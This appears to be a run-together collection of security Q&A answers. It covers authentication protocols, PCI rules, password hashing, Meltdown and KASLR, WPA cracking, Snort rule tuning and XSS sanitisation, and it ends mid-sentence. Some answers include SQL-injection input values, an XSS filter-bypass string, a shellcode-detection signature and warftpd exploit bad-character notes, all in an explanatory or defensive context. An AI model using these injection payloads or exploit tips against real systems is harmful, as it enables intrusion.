I'll take on this question from the usability and extensibility point of view.  For example, if I'm planning to use a protocol to exchange data, say text messages between users, over the network between two applications my first choice would be HTTP.

Why would I choose HTTP instead of something simpler, for example raw TCP with some hand made header on top?  Because application grow, and I know that in two months time I'll be extending this simple hand crafted header to add text encoding.  In four months time I'll extend the header again to allow for chunked transfer.  And in 3 years time I'll end with a horrible to maintain and document hand crafted header that is probably buggy as hell (including security implications).

If I choose to use HTTP, at first it will look bloated.  But after 3 years I'll discover that 80% of the extensions I have added are conformant to some part of the HTTP protocol.  So I need to document less things, and need to maintain less code myself.

And now back to OpenID 2.0 vs. OpenID Connect.

OpenID Connect is layered on top of OAuth 2.0, OpenID 2.0 isn't.  For a long time OpenID was a concurrent system to OAuth, yet, they both have a slightly different philosophy of usage:

OpenID is a way to have a single set of credentials to several places.
OAuth is a way to access data that is stored in one place from several places.

So yeah, you are looking for a solution in which that users from one place can access another place using the same credentials.  You are after OpenID not OAuth.

Yet, it is highly likely that at some point in the future you will want to extend this interaction between the two websites and share not only credentials but also data between the two.  If you implement OpenID 2.0 now, you will need to implement OAuth at that point and will have a cranky piece of software in which there are two different types of credentials floating around.  And that is quite error prone.

If you go for OpenID Connect, then, when your users will want to share data, you will have the scaffolding already built.  All you will need to do is to add extra processing of the valet key and your application is clean.

Of course, it is only likely that at some point in the future the interaction between the websites will need to increase.  And to evaluate this likeness is beyond the information that can be written in a discussion of the comparison of the advantages and disadvantages of the two protocols.  Yet, I'd certainly prefer having an ace in the hole for when such a situation arrives, rather than risk ending with an ugly and error prone extension.


Incentives to Support Adoption of the Cybersecurity Framework

After Sony's PSN network was hacked, there were many class action lawsuits filed against them all around the world. Some were dismissed by the judge, while others reached an expensive settlement.

For example, this was the result of just one of the many lawsuits:

  Settlement approved in Canadian cyber attack suit

  Class Members who had a credit balance in their PSN or SOE account at the time of the Intrusions but have not used any of their accounts shall receive cash payments for credit balances.
  The Sony Entities will make available online game and service benefits to class members geared principally to the type of account (PSN, Qriocity, and/or SOE) held by the class member at the time of the Intrusions.
  The settlement benefits are available through a simple process. To become entitled to benefits, Class Members need only to complete a claim form.
  The Sony Entities will reimburse any Class Members who can demonstrate that they suffered Actual Identity Theft, as defined in the Settlement Agreement. Class Members that prove Identity Theft can submit claims for reimbursement of out-of-pocket payments (not otherwise reimbursed) for expenses that are incurred as a direct result of the Actual Identity Theft, up to a maximum of $2,500.00 per claim.
  The Sony Entities are to pay for the costs associated with providing notice of the Settlement Agreement and the settlement approval hearing, all administration costs, as well as an agreed amount for plaintiffs’ lawyers’ fees and expenses ($265,000).


Order of authentication and authorization

How can you know who you authorise if you haven't authenticated? Authentication always comes first, except when everyone is authorised or noone is authorised.

Edit: seems like you have two questions now :)

1) You were refused most likely because there is an access control policy that prevents your own original UID from performing an operation on the UID of the user you mistyped. It's your own UID that authenticated you (called an ambient authority) because the system that performs authentication checks trusts your system to provide an accurate UID. Your UID was not authorised so you were refused access.

As a side note, some auth server protocols like NIS failed to account for the fact that a user can locally escalate privilege and their local UID cannot be used as an authentication token. I honestly don't remember how a NIS+, LDAP or Kerberos server would check your identity before checking if you're allowed to use one of their resources (such as connecting to another account).

2) Some people believe that it's a good idea to obfuscate whether an authentication attempt worked by serving a honeypot session to the poor user that misspelt an ID or password. These people are wrong. If the system hadn't told you you were not authorised, you would not have noticed that you're not logged in onto the account you expected and you would not have been able to explain why the data you expected to find isn't here, or why the data you added during that session was not actually saved to that user's home directory. These interaction breakdowns are all but straightforward to recover from, and the security benefit of obfuscation is very debatable.


Can I restrict a Certification Authority to signing certain device/application?

There are a few options that may help you here, but there's no guaranteed way to stop this:

Depending on your infrastructure, you may be able to use Name Constraints to limit your other administrator's CA to a specific subdomain or to a specific Distinguished Name arc.  Whether that helps you or not, depends on your specific circumstances.  For example, if your colleague's application is running within their own specific DNS subdomain, you could limit the new CA to this.

Certificate Policies may help you, but only if all clients can be mandated to check them.  This is not the case with the most common certificate usage - HTTPS; so again, depending on your circumstances, this may or may not be useful.  You would have to ensure that you're colleague's application clients check policies and also ensure that their developers don't disable it - this relies on you trusting the team.

Finally, and most importantly, PKI works only because all the CAs follow strict policies and procedures.  Without these, it is simply a clever mathematical conundrum.  Trust is only gained by ensuring that all participants play by the rules and follow your strict policies.  If any CA fails to play by the rules, they risk having their CA certificate revoked by the a superior CA - I'm assuming that is you here.  This is probably your best option.  Show your colleague your Certificate Policy document; ensure they understand them and write a Certification Practice Statement to that effect and hold them to task if they don't play by the rules.  If you don't trust them, don't issue them a CA certificate - it's your PKI's reputation on the line.


Storing CVC / CVV / CVV2 until payment is processed

Technically, according to PCI SSC you can hold onto CVV and other sensitive authentication data until authorization has occurred. In other words the restriction on storing sensitive authentication data applies to post authentication/processing storage. Here is a document from the PCI SSC about data storage requirments. See the "Technical Guidelines for PCI Data Storage" table. Footnote 2 to the table states:

  Sensitive authentication data must not be stored after authorization (even if encrypted).

My advice as a QSA, would be that the pre-auth storage time needs to be reasonable from a business stand point. I would also want it to be as short as technically possible. If your data flow is similar to others in your industry and they are processing payments without storing sensitive data for more then a few seconds at most, then I would expect the same of you.


Configured properly, you shouldn't be able to detect snort.  "Properly" means on an unconfigured/no-address-assigned port in promiscuous mode.  As PTW-105 mentioned, if snort is configured to send resets then maybe you can detect it, but more likely, you'd detect that something was blocking you.  The same holds true if it's in inline mode.

Two things I can think of if you really wanted to know it was snort (as opposed to some other IDS/IPS) would be if 1) snort was configured to do logging to some other host and you were able to see that traffic or 2) you could send packets that you know would match snort's ruleset and if you have enough hits, especially for nonstandard stuff or if your packets were so specific that it would probably only drop on snort's detection, you could know that way.  But it would be noisy since you were intentionally setting off alarms and if snort was not configured in any sort of active blocking mode I don't know of any way of knowing other than a system that dumped alert data back on the wire in a place you were able to see.

Thanks,

~Patrick


The preferred way is to use an encryption mode which does the hard work for you; these are authenticated encryption. Usual recommendations are EAX and GCM.

If you are stuck with "classical" encryption, and an additional MAC (and you are designing your own protocol, which is a daunting task), then the theoretically "good" way is to apply the MAC on the encrypted data. This is called "encrypt-then-MAC". See this question on crypto.SE. As a summary, when you apply the MAC on the encrypted data, then whatever the MAC does cannot reveal anything on the plaintext data, and, similarly, since you verify the MAC before decrypting, then this will protect you against many chosen ciphertext attacks (when the attackers feeds you with cunningly crafted so-called "ciphertext" and observes your reactions).


Network authentication using router firmware scripting

If you are behind a NAT router where all connected devices get the same outgoing IP address and if the authorization against this specific site is solely done by IP address then it is enough that a single internal device behind the router will authorize itself against the external server because all internal devices share the same externally visible IP address.

This means that you don't need to run something on the router itself to automatize the authorization, but that you can run this on any of the internal devices. How this authorization can be automated exactly depends on how the authorization is done usually - and such information are missing from your question. But if it is just visiting some site and entering username and password then there are lots of command line clients or scripting languages which will help you there. But the exact details would be out of scope of this site, because they are just web site automatization and not really related to security.


Tumblr app on while Android phone logged onto work wifi

How the Tumblr site and/or app, or your phone's web browser, function in particular is beyond my ability to address.

The same more or less goes for your company's policies with regards to usage of personally-owned devices on the company-hosted WiFi network. However, I will note that I'm aware of an incident in my organization where someone recently had their hand slapped for inadvertently surfing for porn on their home computer while they were still connected to the corporate VPN. They were at home, on their own computer, using their own WiFi network, but the system was sending all Internet traffic, including their porn requests, through the corporate VPN at the time. No actual punishment was issued, as it was a first-time offense, but the individual was clearly advised not to do it again.

As for how traceable or identifiable you are while on the company network, the short answer is very. Given the cleartext traffic the typical smartphone sends under normal personal use conditions, it's fairly trivial for a network administrator to identify the user of a device. Even if not, with the proper sensing infrastructure in place and some additional hand-held tools, it's still fairly easy for your IT Security (or other technical) personnel to walk down your area and physically identify which device was sending the offending traffic.

So, everything comes down to how lenient your company is with "slip-ups" like this and how well-equipped and determined they are to trace offenders. To best avoid accidental offenses against company policy, I'll re-state what has been said several times in other answers to other questions on this site:

Keep all personal activity and devices on your own network, and off the company's hardware.


Hmm, documentation on xxhash seems hard to find. It does state pretty clearly that it's "for non-cryptographic use", so it probably depends what you mean by "one-way".

Looking at the source code, the magic seems to happen here (line 247, and line 278):

/* *******************************************************************
*  32-bits hash functions
*********************************************************************/
static const U32 PRIME32_1 = 2654435761U;
static const U32 PRIME32_2 = 2246822519U;
static const U32 PRIME32_3 = 3266489917U;
static const U32 PRIME32_4 =  668265263U;
static const U32 PRIME32_5 =  374761393U;

static U32 XXH32_round(U32 seed, U32 input)
{
    seed += input * PRIME32_2;
    seed  = XXH_rotl32(seed, 13);
    seed *= PRIME32_1;
    return seed;
}

...

if (len>=16) {
    const BYTE* const limit = bEnd - 16;
    U32 v1 = seed + PRIME32_1 + PRIME32_2;
    U32 v2 = seed + PRIME32_2;
    U32 v3 = seed + 0;
    U32 v4 = seed - PRIME32_1;

    do {
            v1 = XXH32_round(v1, XXH_get32bits(p)); p+=4;
            v2 = XXH32_round(v2, XXH_get32bits(p)); p+=4;
            v3 = XXH32_round(v3, XXH_get32bits(p)); p+=4;
            v4 = XXH32_round(v4, XXH_get32bits(p)); p+=4;
        } while (p<=limit);

        h32 = XXH_rotl32(v1, 1) + XXH_rotl32(v2, 7) + XXH_rotl32(v3, 12) + XXH_rotl32(v4, 18);
    } else {
        h32  = seed + PRIME32_5;
    }

    h32 += (U32) len;

    while (p+4<=bEnd) {
        h32 += XXH_get32bits(p) * PRIME32_3;
        h32  = XXH_rotl32(h32, 17) * PRIME32_4 ;
        p+=4;
    }

    while (p<bEnd) {
        h32 += (*p) * PRIME32_5;
        h32 = XXH_rotl32(h32, 11) * PRIME32_1 ;
        p++;
    }

    h32 ^= h32 >> 15;
    h32 *= PRIME32_2;
    h32 ^= h32 >> 13;
    h32 *= PRIME32_3;
    h32 ^= h32 >> 16;

    return h32;

"One-way" in cryptography means that it's computationally infeasible to reverse it or generate collisions. Since this is some bit-shifting plus a bunch of additions, multiplications, and exponentiations with fixes primes and a fixed modulus (32-bytes). You could probably come up with a Chinese Remainder Theorem based algorithm to break it. So as the documentation says, it's certainly not "one-way" in the cryptographic sense of the word.

Note that there are other definitions of "one-way" that make sense in a non-cryptographic sense. For example the hash function of taking a person's initials is "one-way" in the sense that JS could equally be Jon Snow, Jane Smith, Johann Sebastian, etc.


The passphrase is the 'key' to use to your 'secret key'. You should keep your secret key file safe, but in case Eve stole your laptop, or your file, if there is no passphrase, she can use your secret key to decipher your secrets.
If you copy your secret key file to a different computer, to use that file you will need your passphrase.

Lets say is and extra safeguard to make sure you are the one that should be using that secret key.


Tails (https://tails.boum.org/) is a "live" bootable system.  That is, you boot it from DVD, USB, etc.  According to the "About" page, it forces all traffic through Tor.

If you booted Tails from a work computer, the IT folk would be able to tell that you shut down the OS and rebooted it some time later, "some time" being the length of your Tails session.  They'll also be able to tell that you connected to a Tor node.  Those two things together are likely to cause some difficult questions from your bosses if they're noticed.

Can they see exactly what you did?  Probably not.  There are some attacks on Tor detailed here: https://en.wikipedia.org/wiki/Tor_%28anonymity_network%29#Weaknesses  Whether your corporate IT department is up to those I do not know.  Probably not.  They might, however, try to block Tor, either on general principles or because they noticed activity.  Tails claims to be able to circumvent certain kinds of blocking.  It is at least plausible that your IT department will notice attempts to circumvent blocking, and quite likely if they've blocked Tor because they observed you using it.

I see that you are in France.  I have no idea what the French government thinks of people using Tor, but you should find out before you try it!

Best advice: While at work, do work.  While at home, play.


How can I be sure if a webview in a desktop app shows the real web page?

You just can´t.

You could monitor internet traffic and be sure it is loading the google page, but still not be sure if it is showing the one they loaded. And also it could be the real page and still it is keylogging what you type.

So:

1) Only type this kind of info on apps you trust;

2) Apps should probably do not require you to trust them, by letting you open the login window in any broswer you want. It is possible to do it, but probably less usable (and most users don´t care about security as much as they care about usability). Personally I would prefer apps offer that to me at least as an option, if not the default mode.


This highly depends on the adversary you are proposing.

If by “unwrapping” you mean disassemble and patch, then you got yourself a threat model you can not defend against and here is why:

If you suppose they can disassemble and patch your code, they can basically do whatever they like - after all, it’s their application and they then use their own code that only appears to be yours.

Additionally, any secret you might use to verify a request came from a valid SDK instance (for example request signing) can be reverse engineered by such an adversary.

All in all, it’s the merchants application and they can run whatever code they like and it’s the consumers device you have no control of it’s running on.

This - by the way - is the reason that apps for payment are either from the operating systems vendor or a separate application that is linked to within the vendors app (for example Apple Pay, google wallet, PayPal).

Additionally, just to be clear: rooted devices might very well be used to dump all data in memory, thus there is no complete security.

Also noteworthy: any communication with your back end should be TLS-secured, including certificate pinning within the app to counter any MITM attacks.

Implementation details are off topic here and I will not cover them - you might have better luck with that on SO.


EAPOL messages in different WPA handshakes

Let's recap, what is necessary information to retrieve the psk:

Nonce of AP (included in EAPOL 1 and 3)
Nonce of station (included in EAPOL 2)
MAC address of AP
MAC address of station
MIC (included in EAPOL 2)
SSID

This means you need to have at least

EAPOL 1 and 2 or
EAPOL 2 and 3

of one handshake to be able to find the psk with a dictionary attack.

In my opinion this has to be a bug in aircrack-ng to report the two packets in your capture as one handshake.

Although aircrack-ng reports them as one handshake, it will not work, even if you give the correct passphrase, because the nonce from EAPOL3 was not the one used in the calculation of the MIC transferred in EAPOL2.


Oracle (CVE-2016-2107) vulnerability on haproxy + Apache + (AWS vs private hosting)

My "potentially relevant comment" was actually the key. Because software updates can be fraught with compatibility issues, yum update doesn't update the openssl version (which both systems showed me was 1.0.1e) but instead updates the packages to include security patches. You can see that the version on AWS was more up-to-date than on production, but both packages related to the same 1.0.1e version (presumably, this means that the API is frozen in time against upgrades). Anyone interested can read more about it here:

https://access.redhat.com/security/updates/backporting

Yum update openssl means both systems now score an A on Qualys.


Are six digit temporary numerical pins secure enough for online accounts?

Depends on the attack vector

Some examples:

Hackers steal 45 million passwords.  The six-digit PIN mechanism is immune to this sort of attack, because the PINs are generated on the fly and presumably have a short lifespan.  There is nothing to steal.

How I'd hack your weak password.  The six-digit PIN mechanism is immune to this sort of attack, because the user does not choose them, and they cannot be inferred from demographic information.

Brute force cracking.  The six-digit PIN mechanism is not immune to this sort of attack, but the hacker only has a 1 in 1,000,000 chance of getting it right.  Depending on the lockout mechanism that it uses, the hacker may have 3-5 chances, which still offers very poor odds.

On the other hand, you are in a less comfortable position if

A hacker steals your email password
A hacker steals your mobile phone
A hacker is able to intercept your email because it was not sent securely
A hacker is able to intercept your SMS, somehow....

There may be other, hidden security mechanisms

Payment processors tend to have additional security mechanisms that you can't even see.  For example, your payment may end up going through a risk engine and will get blocked or sent to escalated auditing if it appears fraudulent (i.e. if someone is sending a lot of small transactions to one place, or if the IP address is in Syria, for example).

Who is at risk?

It may ease your mind to know that the security mechanisms in payment processors' sites are not so much there to protect you as they are to protect them.  They are the ones who have to come up with the money if any of your funds are stolen.  Your personal liability is limited to $50.


Does Hash/Salted password really help when DB is compromised?

Hashing passwords is a defense against a specific attack. The attack is: stealing a copy of the entire password file (users table, ldap db, etc), downloading it to one's computer, and attempting to retrieve the users' passwords. The goal of the attack is: to find users who reuse their usernames and passwords across websites, and log into those users' email, bank, social-network, and other accounts.

The hashing-passwords defense works like this: the passwords are not stored directly, and any attempt to retrieve the original passwords requires the attacker to perform an extremely large amount of work, at least compared with the work required to check whether a password the user enters when logging in matches the password on file. There are multiple variations on this defense, including choosing better hashes, salting the hashes, iterating the hashes, etc., the purpose of them being to make the defense better than otherwise and to defend against variants of the attack which are capable of getting around the simpler defenses.

The hashing-passwords defense is not a defense against just any attack. For example, it doesn't help against an attack where the attacker gains arbitrary write access to the database, rewrites all users' passwords to his own, and logs in to all the users' accounts on that website. The defense only defends against the offline password-stealing attack.

So you need to be aware of the different types of attacks, and to defend against each of them using a defense which works against that type of attack.


A simple Google search points to this page which explains how to sign Word documents, with Word itself. The signer must own a certificate, and the signature will be considered as valid by any Word instance only if that certificate has been issued by one of the CA that the host Windows system trusts. Most commercial CA can sell certificates which will be appropriate; see for instance that page.

For PDF files, using Adobe's product, you need the "standard" Acrobat to sign documents. However, signatures can be verified with the free Adobe Reader. Note that the Reader uses its own list of trusted CA, not that of the underlying OS; and it is more restricted. There again, some commercial CA can sell you the relevant certificates; e.g. see this page.

(For some reason, Globalsign's pages come up first in my Google searches, which is the only reason why I use them as examples.)

There also are free tools to generate PDF signatures (the format is sufficiently open for that), e.g. PortableSigner. You still need a certificate that will be considered as "valid" by whoever will verify your signatures.


What are the risks due to the "challange ACK" side channel attack [CVE-2016-5696]?

the difference here is that this bug allows someone to inject data into a TCP connection, while not being a relaying node of that TCP connection (something they maybe phrasing off-path)?

Anybody able to both sniff and modify/inject packets was able to modify TCP (and thus HTTP) connections before. The "challenge ACK" side channel attack replaces the requirement for direct sniffing (i.e. in-path) by a smart guess about the sequence number and port used by an existing TCP connection and thus makes it possible for an off-path attacker to modify the connection.

The attacker still needs to be able to inject the appropriate packets though, i.e. spoofing the source IP address need to be possible. If this is possible and for which IP addresses depends on the environment of the attacker. It is probably possible to fake a local IP address in most low security local networks, i.e. public hotspots or company networks. But in these even ARP spoofing might already be successful which allows the more powerful in-path attacks against the local user. Spoofing non-local IP addresses instead is harder. My somehow educated but not reliable guess is that this is probably impossible with the majority of DSL/Cable accounts because the ISP will filter spoofed IP.  But it might be easier in more open networks at hosting companies or universities. And of course anybody with access to routers on the "open" internet is able to spoof IP, like internet service providers and probably also government agencies.


What is the state of SELinux and are there alternatives?

SELinux provides a more granular permissions system based on the concept of Mandatory Access Control (MAC) and Role-Based Access Control (RBAC).  It's much more flexible and capable than the typical Discretionary Access Controls (POSIX Permissions) and Linux Capabilities, but it really requires a lot of effort to configure and manage correctly.

Since you asked specifically about Debian, I'll point you to AppArmor, which is also a Kernel Security Module, and more frequently (in my experience) used with Debian and Ubuntu.  I've configured both SELinux and AppArmor, and find AppArmor policies easier to understand.

That being said, both of them were developed in an era where it was "normal" to have lots of users using single hosts (i.e., have shell login accounts) or to run many services from a single server.  Today, isolation is more commonly achieved by running a single service on each server (typically a VM) or using other sandbox technologies.

Both SELinux and AppArmor have a steep learning curve, and misconfiguration will either leave them useless or break legitimate use of the service.  You don't need to look much further than the volume of advice on the internet describing how to disable SELinux to realize it's not very popular.

Unless you're running shared hosting or other configurations that have multiple users operating on a single (virtual) server, I would put security effort into other spaces, such as patch management and network segregation.


Government / State cyberwarfare organizations

There are no actual citations in the article, but according to the Guardian the UK is developing a cyber-weapons program.  From the article (emphasis added):

  Military to gain a new range of offensive options to defend critical installations around the country from cyber attacks

The article does directly quote a few high level officials (including one member of Parliament), so it should be fairly easy to find out if it's been refuted.


Please help clarify password hashing - salted, multiple iterations of MD5 vs bcrypt/sha2, etc

What is wanted first and foremost is a hashing algorithm that is slow.  Crackers crack password hashes by running password dictionaries and other combinations of characters through the hash algorithm to see whether the computed hash matches the one stolen from a database.  The slower you can make that process, the harder it will be to "reverse" your hashes if they're stolen.

Next, every password needs a different random "salt" concatenated with it before computing the hash.  The cracker who gets the password hashes will be able to get the salts, too, but the presence of the salt foils precomputation attacks.  Every hash must be attacked separately.

Finally, you should consider using a secret key not stored in a database as a component of the hash.  This is sometimes called a "pepper" and the result is a keyed hash.  The attacker who gets hashes through something like SQL injection will not be able to crack them because that secret key is needed.  (Of course, the attacker who compromises the OS can get everything, but that's significantly harder than just compromising a database.)

The question (and answer) noted by Xander have thorough coverage: How to securely hash passwords?  There's a good essay here: https://crackstation.net/hashing-security.htm and some more advice here: http://bitmonger.blogspot.com/2012/07/six-simple-rules-for-secure-storage-of.html


Is revealing the phone number during OTP verification process considered a vulnerability?

The primary attack method against text message OTP is to 'sim swap' and take over the target's phone number.  If the site provided the full number in this scenario, they'd be giving the attacker exactly the information they need to break the security being used.
(To lift up comments: In general, more personal information is needed, if you're going to social engineer telecom staff into swapping the SIM.  In some places and under some carriers, it's even harder than that, requiring ID to be presented in person.  But there are also cases where nothing more than the phone number is required, even with enhanced protections in place, if the telecom staff are colluding with the attackers.)


What effect would removal of RSA tokens from mobile phone have on surveillance?

I suspect that by "tokens" he means RSA keys or RSA certificates. In this case (SWAG) the phone contains the providers public keys which allows the provider access via  authenticated connections.

The phone probably (SWAG here) doesn't allow unauthenticated incoming connections, or doesn't allow it for certain things.

Now, whether that is accurate or correct I can't say.

OTOH, the comments on Schneier's blog, well, some of those people are bugf*k insane, some are trolls, and some are genuine geniuses. Given that people in Cryptography have a tendency towards almost clinical paranoia it's hard to tell which.


Is it ok to have self-signed certificates in source control?

Secrets -- private keys and passwords alike -- shouldn't be stored in source control. Where possible, self-signed certs should be replaced with centrally signed certs as well.

Software such as Vault facilitates distribution of secrets and most importantly rolling of them.

In this way you can setup your development machines with a level of control and stay away from the bad habit of secrets in source control because even if they are a self-signed certificate, they're still a bad habit. Things that are meant to be low value or secure unimportant things often become important later and forgotten.

Set it up right and stay with it right.


Is traffic encrypted using IPSec intercepted in transit over public internet, hackable?

Interception of the traffic is 100% possible since the whole time the transfer is going via public internet isp etc,but retrieving sensible data out of it is highly unlikely, unless the attacker has cracked the Encapsulating Security Payload used to encapsulate the vpn traffic packets.


Relying on internal DNS server (Domain Controller) on a DMZ Server

Knowing that is a Domain Controller, it would then be only used by people within the internal network right?
Might wanna double check with this related question.

Whether or not your host it in the DMZ, I highly recommend aiming for a setup where only traffic involving UDP port 53 is allowed and that's both inbound and outbound.

You could achieve that through configuring NGFW, some device that has a stateful firewall, or a host-based firewall within the DNS server. If you could have like 2-3 of these done then that's good since defense in-depth is very good practice. Test that it's working properly for each defense configured to ensure availability of your device.

If you're placing it in the DMZ however, it is of absolutely importance to have a firewall device between your DNS Server and the router to ensure it is segmented and kept away from your internal network should it get compromised by hacker/s.

Always remember that no defense is absolute so prepare plans/protocols to follow should a hacking attack succeeds and escalates to prevent/re-mediate the emergency.


HTTP methods to be supported for CRL downloading

RFC (to be precisely, RFC5280) doesn't define required protocols to be supported by CA for CRL/CRT download. It must be defined in a form supported by both, client and server. Thus, HTTP is not mandatory (though, recommended) at all. Major crypto clients (including CryptoAPI) use GET method to retrieve CRL/CRT files.


I do not see free VPN solutions to be secure. Because you have to ask yourself why is someone providing you a service (of  "encrypting" you data and tunneling it for you) for free.

The best thing to do in your situation is to use SSH dynamic port tunneling.
You need a machine you can trust, let's say you set up a Raspberry Pi running 24/7 at your home with some Linux distribution and OpenSSH packet installed.
You need to be listening on a port you specify to wait for a connection and once connection occures your Raspberry Pi will encrypt your traffic while acting as a proxy.
You will have to configure SOCKS Proxy in your browser to point to and IP address of your Raspberry Pi. Also take care of NAT if RPi is behind it with port forwarding and use a service like no noip.com so you can reach your home network if you don't have public static IP.
I would recommend you to use certificate based authentication for SSH and to turn off root login and user login with password so nobody can use wordlist attack on your RPi box.


how did the meltdown attack break KASLR in 128 steps for a target machine with 8GB RAM with 40bit randomization on a 64bit machine?

KASLR (Kernel Address Space Layout Randomization) is a technique for making it harder for an attacker to exploit a vulnerability that they've found.  Instead of placing kernel data structures in predictable locations, they get scattered around at random, so an attacker needs to spend time looking for their target data before they can use it.

A 64-bit computer has 264 possible memory addresses.  This is far more space than anyone can use right now, so to keep things simple, only a few of the addresses are made available -- for current CPUs, typically 240 addresses.

The number of "bits" of randomization is a measure of how many places there are that something could end up in.  With 40 bits of randomization, that's 1,099,511,627,776 possible locations -- if the attacker is looking for a small piece of data such as the root password, they're probably not going to find it before the attack gets stopped.

In the case of Meltdown, though, the target is "a complete copy of physical RAM".  This occupies a single continuous block that overlaps many of the possible locations that it could be placed at: in the case of 8 GB of RAM, the equivalent of 33 bits worth of locations.  With 40 bits of available addresses, this leaves only  7 bits for randomizing the location.  After at most 27 = 128 probes, the attack has found its target and can start reading memory.


Regarding your sanitization function - while I can't produce an exploit for the exact example you provided, if we change your example to something like this:

$sql = "UPDATE ipsum SET price=$str WHERE id=1337";

If a value of 10, otherColumn=1234 or maybe 10;-- was passed in for $str you could see problems.  If you roll your own sanitization function and begin using it in your code, it seems like it would only be a matter of time before an vulnerability like this popped up.  I'll keep playing around to see if I can find an exploit for the exact example you provided in your question.

That said, I wouldn't recommend rolling your own sanitization function.  Smarter people than you and I have put considerable effort into testing the effectiveness of the currently accepted industry standard of using prepared statements to prevent SQL Injection so you can be (fairly) certain that it is safe.  Rolling your own is almost always a mistake.

Also - I would wager that there are people out there using prepared statements in environments that handle more traffic and require more performance than your current project.

If you are experiencing performance problems accessing your data layer, I would recommend spending some time looking at performance tuning rather than building your own sanitization function.

Performance tuning access to your data layer is an essential and normal part of development.  Rolling your own sanitization is not.


For sake of argument, let's assume you're referring to the rule mentioned by Mark in his comment. This works out well since when doing a full text search of your quoted text across all VRT and ET rules, it's the only one I found as well. It is sid 1390, found in the file shellcode,rules for those keeping track at home.
The full rule text is:
alert ip $EXTERNAL_NET any -> $HOME_NET any (msg:"SHELLCODE x86 inc ebx NOOP"; content:"CCCCCCCCCCCCCCCCCCCCCCCC"; classtype:shellcode-detect; sid:1390; rev:9;)

Thankfully, this is a nice and simple rule. For the same of analysis let's also assume that this device is on your border and the IP variables have been properly configured.
So, this rule gets checked against every IP packet that comes into your organization. Already it seems pretty noisy. It looks in the payload section of the packet for the a string containing 25 consecutive 'C' characters. The reason for this is that this character maps to the inc ebx instruction for the x86 architecture (as implied by the name of the rule). In the x86 architecture this instruction is functionally equivalent to NOP, and as such can be used as part of a NOOP slide, but is slightly less obvious.
This specific rule, and many of the shellcode rules in fact, are well known generators of false positives since they can often be generated by downloading binary files. The traditional tuning advice is to disable these rules on web ports.
So, depending on your risk threshold, you can either

Disable the rules entirely
Modify the rule to ignore packets on "web ports"

Disabling the rules is easy, and something you should be well acquainted with if you're attempting to make reasonable use of an IDS at all. Modification can be a little trickier.
Tuning By Port Filtering
Depending on your version of Snort, you should already have two variables set in your snort.conf that will be useful. One is HTTP_PORTS and the other is SHELLCODE_PORTS. By default, they're set to rather basic values.
# Ports you run web servers on
portvar HTTP_PORTS [80,8080]

# Ports you want to look for SHELLCODE on.
portvar SHELLCODE_PORTS !80

What I would recommend is changing HTTP_PORTS to whatever you actually use in your environment, and then setting SHELLCODE_PORTS to the inverse of that, so something like:
# Ports you run web servers on
portvar HTTP_PORTS [80,8080]

# Ports you want to look for SHELLCODE on.
portvar SHELLCODE_PORTS !$HTTP_PORTS

Then you can modify the Snort signature to use the appropriate port variable.
alert ip $EXTERNAL_NET $SHELLCODE_PORTS -> $HOME_NET any (msg:"SHELLCODE x86 inc ebx NOOP"; content:"CCCCCCCCCCCCCCCCCCCCCCCC"; classtype:shellcode-detect; sid:1390; rev:9;)

So now this will exclude any data coming from an external web server, so say downloading an executable from a vendor website. It is best to keep in mind that since this rule is not stateful, a malicious attacker could craft their exploit in such a way as to avoid the rule.
Tuning By State Tracking
Alternatively, we could tighten up the rule by forcing it to be stateful instead. Let's remove the port restriction and tighten up the rule to only to outside initiated communication by adding the flow keyword, turning that rule into:
alert ip $EXTERNAL_NET any -> $HOME_NET any (msg:"SHELLCODE x86 inc ebx NOOP"; flow:to_server,established; content:"CCCCCCCCCCCCCCCCCCCCCCCC"; classtype:shellcode-detect; sid:1390; rev:9;)

So now the rule will look for at least 25 consecutive 'C' characters on any outside initiated communication. So while we'll now see the cases where the malicious user spoofs their source ports, in an effort to bypass firewall restrictions, we will miss cases where the exploit code is downloaded from a local host.
Analysis Paralysis
In both cases, there are obvious ways to bypass the detection routine, so which direction you choose depends entirely on your risk profile and your threshold for acceptance.


Wireshark displays sql calls - Prevention

This is a configuration issue with the database. Most modern databases offer transport encryption, though many are not enabled by default.

Here are some links for setting up SSL on popular SQL databases:

6.3.6 Using SSL for Secure Connections

How to enable SSL encryption for an instance of SQL Server by using Microsoft Management Console


How Vulnerability scanners assign CVE codes to Vulnerability found

Usually it'll be the other way around, a scanner will have a list of known CVEs and how to test for them. It will then give you a filtered version of that list based on which vunerabilities apply to the system under test.


Look into Dell Kace, you can install clients on all your computers and it'll let you know the hardware information as well as software installed and all of those kind of things, pretty powerful. Of course it's not free and will take configuration and the like, but that's the professional level for this kind of stuff.


In NodeJS, what is a good way of ensuring user submitted data in (text input) forms is not malicious?

Stripping out HTML tags is not a sufficient approach to protecting yourself from XSS.  Consider the following input:

<scri<script>pt>

If you strip out the <script> tag, another script tag is created.  This is just one example - there are many other attacks that could be used.

You should look into protecting yourself from XSS on the server side - this way users do not have the ability to modify/bypass your client side code.

Protecting yourself against XSS is totally doable, but you should make sure you are using the correct approach.  As usual OWASP's instructions on how to protect yourself is probably the best way to go.


What to do when Google disables SSLv3 and RC4?

Basically what I ask is: Should we get SSL Certificates for our
  websites still?

Yes, absolutely.  TLS is simply a newer version of SSL, and they both use the same certificates.

An aside on the names - SSL was a Netscape protocol.  When it got mainstreamed as an RFC, they made some minor tweaks and renamed it TLS so that it wouldn't be confused with a "proprietary standard."  But in practice, people have used the terms SSL to refer to TLS and vice versa for years.  Only now, as we're getting serious about retiring the final SSLv3 protocol, is the confusion starting to cause problems.

  If so, from where, or what version?

You'll continue to get certificates from the same Certificate Authorities (CAs) like Verisign, Entrust, Comodo, etc. etc.  Aside from the SSL->TLS change, certificates now need to use SHA-2 instead of older hashing protocols like SHA-1.  Your CA should be issuing any new certificates with SHA-2, and should be able to help you navigate the change.

  When [SSLv3 is retired], will we —the clients— have to do any kind of upgrade or configuration?

If you're using a regular web browser, you're probably fine.  Only very old web browsers will have problems because of SSLv3 disappearing, IE6 on Windows XP being the biggie people talk about.

If you're using custom clients like Java code, curl, wget, openssl - then you probably need to be using a newer version.  The problem is that when someone codes an SSL client in Java, they're generally not updating it often because updating Java is hell.  So custom clients are going to have problems.


warftpd exploit, strange shellcode behaviour

I solved the problem by stepping through and eliminating the bad characters one at a time where there was a crash. The bad characters causing the problem were:

pop ebx:                              \x5b
privileged instruction:               \x6c

(This was in addition to the null characters, carriage returns, and @ character)

Hope this saves somebody a lot of frustration


Privacy issues when mobile app has access to phone number and contacts

At some level, you implicitly invest trust  When you make the decision to use any
system which is connected to the Internet, your implicitly trusting that system's
